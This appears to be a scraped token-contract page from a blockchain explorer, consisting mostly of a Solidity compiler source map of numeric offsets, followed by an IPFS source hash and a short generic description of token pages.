;;;;;;;;;;;;;;16899:35;16916:11;16929:4;16899:35;;;;;;;:::i;:::-;;;;;;;;16323:614;16268:669;:::o;13360:126::-;13452:9;:18;;:26;13471:6;13452:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13360:126;;:::o;1730:250::-;1788:7;1817:1;1812;:6;1808:47;;;1842:1;1835:8;;;;1808:47;1867:9;1883:1;1879;:5;;;;:::i;:::-;1867:17;;1912:1;1907;1903;:5;;;;:::i;:::-;:10;1895:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1971:1;1964:8;;;1730:250;;;;;:::o;1988:132::-;2046:7;2073:39;2077:1;2080;2073:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2066:46;;1988:132;;;;:::o;1386:136::-;1444:7;1471:43;1475:1;1478;1471:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1464:50;;1386:136;;;;:::o;2128:278::-;2214:7;2246:1;2242;:5;2249:12;2234:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2273:9;2289:1;2285;:5;;;;:::i;:::-;2273:17;;2397:1;2390:8;;;2128:278;;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;215:80;;;;:::o;318:568::-;391:8;401:6;451:3;444:4;436:6;432:17;428:27;418:2;;459:79;;:::i;:::-;418:2;572:6;559:20;549:30;;602:18;594:6;591:30;588:2;;;624:79;;:::i;:::-;588:2;738:4;730:6;726:17;714:29;;792:3;784:4;776:6;772:17;762:8;758:32;755:41;752:2;;;799:79;;:::i;:::-;752:2;408:478;;;;;:::o;892:139::-;938:5;976:6;963:20;954:29;;992:33;1019:5;992:33;:::i;:::-;944:87;;;;:::o;1037:329::-;1096:6;1145:2;1133:9;1124:7;1120:23;1116:32;1113:2;;;1151:79;;:::i;:::-;1113:2;1271:1;1296:53;1341:7;1332:6;1321:9;1317:22;1296:53;:::i;:::-;1286:63;;1242:117;1103:263;;;;:::o;1372:351::-;1442:6;1491:2;1479:9;1470:7;1466:23;1462:32;1459:2;;;1497:79;;:::i;:::-;1459:2;1617:1;1642:64;1698:7;1689:6;1678:9;1674:22;1642:64;:::i;:::-;1632:74;;1588:128;1449:274;;;;:::o;1729:474::-;1797:6;1805;1854:2;1842:9;1833:7;1829:23;1825:32;1822:2;;;1860:79;;:::i;:::-;1822:2;1980:1;2005:53;2050:7;2041:6;2030:9;2026:22;2005:53;:::i;:::-;1995:63;;1951:117;2107:2;2133:53;2178:7;2169:6;2158:9;2154:22;2133:53;:::i;:::-;2123:63;;2078:118;1812:391;;;;;:::o;2209:619::-;2286:6;2294;2302;2351:2;2339:9;2330:7;2326:23;2322:32;2319:2;;;2357:79;;:::i;:::-;2319:2;2477:1;2502:53;2547:7;2538:6;2527:9;2523:22;2502:53;:::i;:::-;2492:63;;2448:117;2604:2;2630:53;2675:7;2666:6;2655:9;2651:22;2630:53;:::i;:::-;2620:63;;2575:118;2732:2;2758:53;2803:7;2794:6;2783:9;2779:22;2758:53;:::i;:::-;2748:63;;2703:118;2309:519;;;;;:::o;2834:474::-;2902:6;2910;2959:2;2947:9;2938:7;2934:23;2930:32;2927:2;;;2965:79;;:::i;:::-;2927:2;3085:1;3110:53;3155:7;3146:6;3135:9;3131:22;3110:53;:::i;:::-;3100:63;;3056:117;3212:2;3238:53;3283:7;3274:6;3263:9;3259:22;3238:53;:::i;:::-;3228:63;;3183:118;2917:391;;;;;:::o;3314:559::-;3400:6;3408;3457:2;3445:9;3436:7;3432:23;3428:32;3425:2;;;3463:79;;:::i;:::-;3425:2;3611:1;3600:9;3596:17;3583:31;3641:18;3633:6;3630:30;3627:2;;;3663:79;;:::i;:::-;3627:2;3776:80;3848:7;3839:6;3828:9;3824:22;3776:80;:::i;:::-;3758:98;;;;3554:312;3415:458;;;;;:::o;3879:179::-;3948:10;3969:46;4011:3;4003:6;3969:46;:::i;:::-;4047:4;4042:3;4038:14;4024:28;;3959:99;;;;:::o;4064:108::-;4141:24;4159:5;4141:24;:::i;:::-;4136:3;4129:37;4119:53;;:::o;4178:118::-;4265:24;4283:5;4265:24;:::i;:::-;4260:3;4253:37;4243:53;;:::o;4332:732::-;4451:3;4480:54;4528:5;4480:54;:::i;:::-;4550:86;4629:6;4624:3;4550:86;:::i;:::-;4543:93;;4660:56;4710:5;4660:56;:::i;:::-;4739:7;4770:1;4755:284;4780:6;4777:1;4774:13;4755:284;;;4856:6;4850:13;4883:63;4942:3;4927:13;4883:63;:::i;:::-;4876:70;;4969:60;5022:6;4969:60;:::i;:::-;4959:70;;4815:224;4802:1;4799;4795:9;4790:14;;4755:284;;;4759:14;5055:3;5048:10;;4456:608;;;;;;;:::o;5070:109::-;5151:21;5166:5;5151:21;:::i;:::-;5146:3;5139:34;5129:50;;:::o;5185:147::-;5280:45;5319:5;5280:45;:::i;:::-;5275:3;5268:58;5258:74;;:::o;5338:364::-;5426:3;5454:39;5487:5;5454:39;:::i;:::-;5509:71;5573:6;5568:3;5509:71;:::i;:::-;5502:78;;5589:52;5634:6;5629:3;5622:4;5615:5;5611:16;5589:52;:::i;:::-;5666:29;5688:6;5666:29;:::i;:::-;5661:3;5657:39;5650:46;;5430:272;;;;;:::o;5708:366::-;5850:3;5871:67;5935:2;5930:3;5871:67;:::i;:::-;5864:74;;5947:93;6036:3;5947:93;:::i;:::-;6065:2;6060:3;6056:12;6049:19;;5854:220;;;:::o;6080:365::-;6222:3;6243:66;6307:1;6302:3;6243:66;:::i;:::-;6236:73;;6318:93;6407:3;6318:93;:::i;:::-;6436:2;6431:3;6427:12;6420:19;;6226:219;;;:::o;6451:366::-;6593:3;6614:67;6678:2;6673:3;6614:67;:::i;:::-;6607:74;;6690:93;6779:3;6690:93;:::i;:::-;6808:2;6803:3;6799:12;6792:19;;6597:220;;;:::o;6823:366::-;6965:3;6986:67;7050:2;7045:3;6986:67;:::i;:::-;6979:74;;7062:93;7151:3;7062:93;:::i;:::-;7180:2;7175:3;7171:12;7164:19;;6969:220;;;:::o;7195:366::-;7337:3;7358:67;7422:2;7417:3;7358:67;:::i;:::-;7351:74;;7434:93;7523:3;7434:93;:::i;:::-;7552:2;7547:3;7543:12;7536:19;;7341:220;;;:::o;7567:366::-;7709:3;7730:67;7794:2;7789:3;7730:67;:::i;:::-;7723:74;;7806:93;7895:3;7806:93;:::i;:::-;7924:2;7919:3;7915:12;7908:19;;7713:220;;;:::o;7939:366::-;8081:3;8102:67;8166:2;8161:3;8102:67;:::i;:::-;8095:74;;8178:93;8267:3;8178:93;:::i;:::-;8296:2;8291:3;8287:12;8280:19;;8085:220;;;:::o;8311:366::-;8453:3;8474:67;8538:2;8533:3;8474:67;:::i;:::-;8467:74;;8550:93;8639:3;8550:93;:::i;:::-;8668:2;8663:3;8659:12;8652:19;;8457:220;;;:::o;8683:366::-;8825:3;8846:67;8910:2;8905:3;8846:67;:::i;:::-;8839:74;;8922:93;9011:3;8922:93;:::i;:::-;9040:2;9035:3;9031:12;9024:19;;8829:220;;;:::o;9055:366::-;9197:3;9218:67;9282:2;9277:3;9218:67;:::i;:::-;9211:74;;9294:93;9383:3;9294:93;:::i;:::-;9412:2;9407:3;9403:12;9396:19;;9201:220;;;:::o;9427:118::-;9514:24;9532:5;9514:24;:::i;:::-;9509:3;9502:37;9492:53;;:::o;9551:112::-;9634:22;9650:5;9634:22;:::i;:::-;9629:3;9622:35;9612:51;;:::o;9669:222::-;9762:4;9800:2;9789:9;9785:18;9777:26;;9813:71;9881:1;9870:9;9866:17;9857:6;9813:71;:::i;:::-;9767:124;;;;:::o;9897:332::-;10018:4;10056:2;10045:9;10041:18;10033:26;;10069:71;10137:1;10126:9;10122:17;10113:6;10069:71;:::i;:::-;10150:72;10218:2;10207:9;10203:18;10194:6;10150:72;:::i;:::-;10023:206;;;;;:::o;10235:210::-;10322:4;10360:2;10349:9;10345:18;10337:26;;10373:65;10435:1;10424:9;10420:17;10411:6;10373:65;:::i;:::-;10327:118;;;;:::o;10451:313::-;10564:4;10602:2;10591:9;10587:18;10579:26;;10651:9;10645:4;10641:20;10637:1;10626:9;10622:17;10615:47;10679:78;10752:4;10743:6;10679:78;:::i;:::-;10671:86;;10569:195;;;;:::o;10770:419::-;10936:4;10974:2;10963:9;10959:18;10951:26;;11023:9;11017:4;11013:20;11009:1;10998:9;10994:17;10987:47;11051:131;11177:4;11051:131;:::i;:::-;11043:139;;10941:248;;;:::o;11195:419::-;11361:4;11399:2;11388:9;11384:18;11376:26;;11448:9;11442:4;11438:20;11434:1;11423:9;11419:17;11412:47;11476:131;11602:4;11476:131;:::i;:::-;11468:139;;11366:248;;;:::o;11620:419::-;11786:4;11824:2;11813:9;11809:18;11801:26;;11873:9;11867:4;11863:20;11859:1;11848:9;11844:17;11837:47;11901:131;12027:4;11901:131;:::i;:::-;11893:139;;11791:248;;;:::o;12045:419::-;12211:4;12249:2;12238:9;12234:18;12226:26;;12298:9;12292:4;12288:20;12284:1;12273:9;12269:17;12262:47;12326:131;12452:4;12326:131;:::i;:::-;12318:139;;12216:248;;;:::o;12470:419::-;12636:4;12674:2;12663:9;12659:18;12651:26;;12723:9;12717:4;12713:20;12709:1;12698:9;12694:17;12687:47;12751:131;12877:4;12751:131;:::i;:::-;12743:139;;12641:248;;;:::o;12895:419::-;13061:4;13099:2;13088:9;13084:18;13076:26;;13148:9;13142:4;13138:20;13134:1;13123:9;13119:17;13112:47;13176:131;13302:4;13176:131;:::i;:::-;13168:139;;13066:248;;;:::o;13320:419::-;13486:4;13524:2;13513:9;13509:18;13501:26;;13573:9;13567:4;13563:20;13559:1;13548:9;13544:17;13537:47;13601:131;13727:4;13601:131;:::i;:::-;13593:139;;13491:248;;;:::o;13745:419::-;13911:4;13949:2;13938:9;13934:18;13926:26;;13998:9;13992:4;13988:20;13984:1;13973:9;13969:17;13962:47;14026:131;14152:4;14026:131;:::i;:::-;14018:139;;13916:248;;;:::o;14170:419::-;14336:4;14374:2;14363:9;14359:18;14351:26;;14423:9;14417:4;14413:20;14409:1;14398:9;14394:17;14387:47;14451:131;14577:4;14451:131;:::i;:::-;14443:139;;14341:248;;;:::o;14595:419::-;14761:4;14799:2;14788:9;14784:18;14776:26;;14848:9;14842:4;14838:20;14834:1;14823:9;14819:17;14812:47;14876:131;15002:4;14876:131;:::i;:::-;14868:139;;14766:248;;;:::o;15020:222::-;15113:4;15151:2;15140:9;15136:18;15128:26;;15164:71;15232:1;15221:9;15217:17;15208:6;15164:71;:::i;:::-;15118:124;;;;:::o;15248:483::-;15419:4;15457:2;15446:9;15442:18;15434:26;;15470:71;15538:1;15527:9;15523:17;15514:6;15470:71;:::i;:::-;15588:9;15582:4;15578:20;15573:2;15562:9;15558:18;15551:48;15616:108;15719:4;15710:6;15616:108;:::i;:::-;15608:116;;15424:307;;;;;:::o;15737:831::-;16000:4;16038:3;16027:9;16023:19;16015:27;;16052:71;16120:1;16109:9;16105:17;16096:6;16052:71;:::i;:::-;16133:80;16209:2;16198:9;16194:18;16185:6;16133:80;:::i;:::-;16260:9;16254:4;16250:20;16245:2;16234:9;16230:18;16223:48;16288:108;16391:4;16382:6;16288:108;:::i;:::-;16280:116;;16406:72;16474:2;16463:9;16459:18;16450:6;16406:72;:::i;:::-;16488:73;16556:3;16545:9;16541:19;16532:6;16488:73;:::i;:::-;16005:563;;;;;;;;:::o;16574:214::-;16663:4;16701:2;16690:9;16686:18;16678:26;;16714:67;16778:1;16767:9;16763:17;16754:6;16714:67;:::i;:::-;16668:120;;;;:::o;16875:132::-;16942:4;16965:3;16957:11;;16995:4;16990:3;16986:14;16978:22;;16947:60;;;:::o;17013:114::-;17080:6;17114:5;17108:12;17098:22;;17087:40;;;:::o;17133:99::-;17185:6;17219:5;17213:12;17203:22;;17192:40;;;:::o;17238:113::-;17308:4;17340;17335:3;17331:14;17323:22;;17313:38;;;:::o;17357:184::-;17456:11;17490:6;17485:3;17478:19;17530:4;17525:3;17521:14;17506:29;;17468:73;;;;:::o;17547:169::-;17631:11;17665:6;17660:3;17653:19;17705:4;17700:3;17696:14;17681:29;;17643:73;;;;:::o;17722:305::-;17762:3;17781:20;17799:1;17781:20;:::i;:::-;17776:25;;17815:20;17833:1;17815:20;:::i;:::-;17810:25;;17969:1;17901:66;17897:74;17894:1;17891:81;17888:2;;;17975:18;;:::i;:::-;17888:2;18019:1;18016;18012:9;18005:16;;17766:261;;;;:::o;18033:185::-;18073:1;18090:20;18108:1;18090:20;:::i;:::-;18085:25;;18124:20;18142:1;18124:20;:::i;:::-;18119:25;;18163:1;18153:2;;18168:18;;:::i;:::-;18153:2;18210:1;18207;18203:9;18198:14;;18075:143;;;;:::o;18224:348::-;18264:7;18287:20;18305:1;18287:20;:::i;:::-;18282:25;;18321:20;18339:1;18321:20;:::i;:::-;18316:25;;18509:1;18441:66;18437:74;18434:1;18431:81;18426:1;18419:9;18412:17;18408:105;18405:2;;;18516:18;;:::i;:::-;18405:2;18564:1;18561;18557:9;18546:20;;18272:300;;;;:::o;18578:191::-;18618:4;18638:20;18656:1;18638:20;:::i;:::-;18633:25;;18672:20;18690:1;18672:20;:::i;:::-;18667:25;;18711:1;18708;18705:8;18702:2;;;18716:18;;:::i;:::-;18702:2;18761:1;18758;18754:9;18746:17;;18623:146;;;;:::o;18775:96::-;18812:7;18841:24;18859:5;18841:24;:::i;:::-;18830:35;;18820:51;;;:::o;18877:90::-;18911:7;18954:5;18947:13;18940:21;18929:32;;18919:48;;;:::o;18973:126::-;19010:7;19050:42;19043:5;19039:54;19028:65;;19018:81;;;:::o;19105:77::-;19142:7;19171:5;19160:16;;19150:32;;;:::o;19188:86::-;19223:7;19263:4;19256:5;19252:16;19241:27;;19231:43;;;:::o;19280:121::-;19338:9;19371:24;19389:5;19371:24;:::i;:::-;19358:37;;19348:53;;;:::o;19407:307::-;19475:1;19485:113;19499:6;19496:1;19493:13;19485:113;;;19584:1;19579:3;19575:11;19569:18;19565:1;19560:3;19556:11;19549:39;19521:2;19518:1;19514:10;19509:15;;19485:113;;;19616:6;19613:1;19610:13;19607:2;;;19696:1;19687:6;19682:3;19678:16;19671:27;19607:2;19456:258;;;;:::o;19720:320::-;19764:6;19801:1;19795:4;19791:12;19781:22;;19848:1;19842:4;19838:12;19869:18;19859:2;;19925:4;19917:6;19913:17;19903:27;;19859:2;19987;19979:6;19976:14;19956:18;19953:38;19950:2;;;20006:18;;:::i;:::-;19950:2;19771:269;;;;:::o;20046:233::-;20085:3;20108:24;20126:5;20108:24;:::i;:::-;20099:33;;20154:66;20147:5;20144:77;20141:2;;;20224:18;;:::i;:::-;20141:2;20271:1;20264:5;20260:13;20253:20;;20089:190;;;:::o;20285:180::-;20333:77;20330:1;20323:88;20430:4;20427:1;20420:15;20454:4;20451:1;20444:15;20471:180;20519:77;20516:1;20509:88;20616:4;20613:1;20606:15;20640:4;20637:1;20630:15;20657:180;20705:77;20702:1;20695:88;20802:4;20799:1;20792:15;20826:4;20823:1;20816:15;20843:180;20891:77;20888:1;20881:88;20988:4;20985:1;20978:15;21012:4;21009:1;21002:15;21029:180;21077:77;21074:1;21067:88;21174:4;21171:1;21164:15;21198:4;21195:1;21188:15;21215:117;21324:1;21321;21314:12;21338:117;21447:1;21444;21437:12;21461:117;21570:1;21567;21560:12;21584:117;21693:1;21690;21683:12;21707:117;21816:1;21813;21806:12;21830:102;21871:6;21922:2;21918:7;21913:2;21906:5;21902:14;21898:28;21888:38;;21878:54;;;:::o;21938:222::-;22078:34;22074:1;22066:6;22062:14;22055:58;22147:5;22142:2;22134:6;22130:15;22123:30;22044:116;:::o;22166:159::-;22306:11;22302:1;22294:6;22290:14;22283:35;22272:53;:::o;22331:225::-;22471:34;22467:1;22459:6;22455:14;22448:58;22540:8;22535:2;22527:6;22523:15;22516:33;22437:119;:::o;22562:221::-;22702:34;22698:1;22690:6;22686:14;22679:58;22771:4;22766:2;22758:6;22754:15;22747:29;22668:115;:::o;22789:177::-;22929:29;22925:1;22917:6;22913:14;22906:53;22895:71;:::o;22972:220::-;23112:34;23108:1;23100:6;23096:14;23089:58;23181:3;23176:2;23168:6;23164:15;23157:28;23078:114;:::o;23198:182::-;23338:34;23334:1;23326:6;23322:14;23315:58;23304:76;:::o;23386:228::-;23526:34;23522:1;23514:6;23510:14;23503:58;23595:11;23590:2;23582:6;23578:15;23571:36;23492:122;:::o;23620:224::-;23760:34;23756:1;23748:6;23744:14;23737:58;23829:7;23824:2;23816:6;23812:15;23805:32;23726:118;:::o;23850:223::-;23990:34;23986:1;23978:6;23974:14;23967:58;24059:6;24054:2;24046:6;24042:15;24035:31;23956:117;:::o;24079:122::-;24152:24;24170:5;24152:24;:::i;:::-;24145:5;24142:35;24132:2;;24191:1;24188;24181:12;24132:2;24122:79;:::o;24207:122::-;24280:24;24298:5;24280:24;:::i;:::-;24273:5;24270:35;24260:2;;24319:1;24316;24309:12;24260:2;24250:79;:::o

Swarm Source

ipfs://01d59c4242e5c642673bc698d7b1f481915caaa4aadd4719d6592f88abf17f58
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.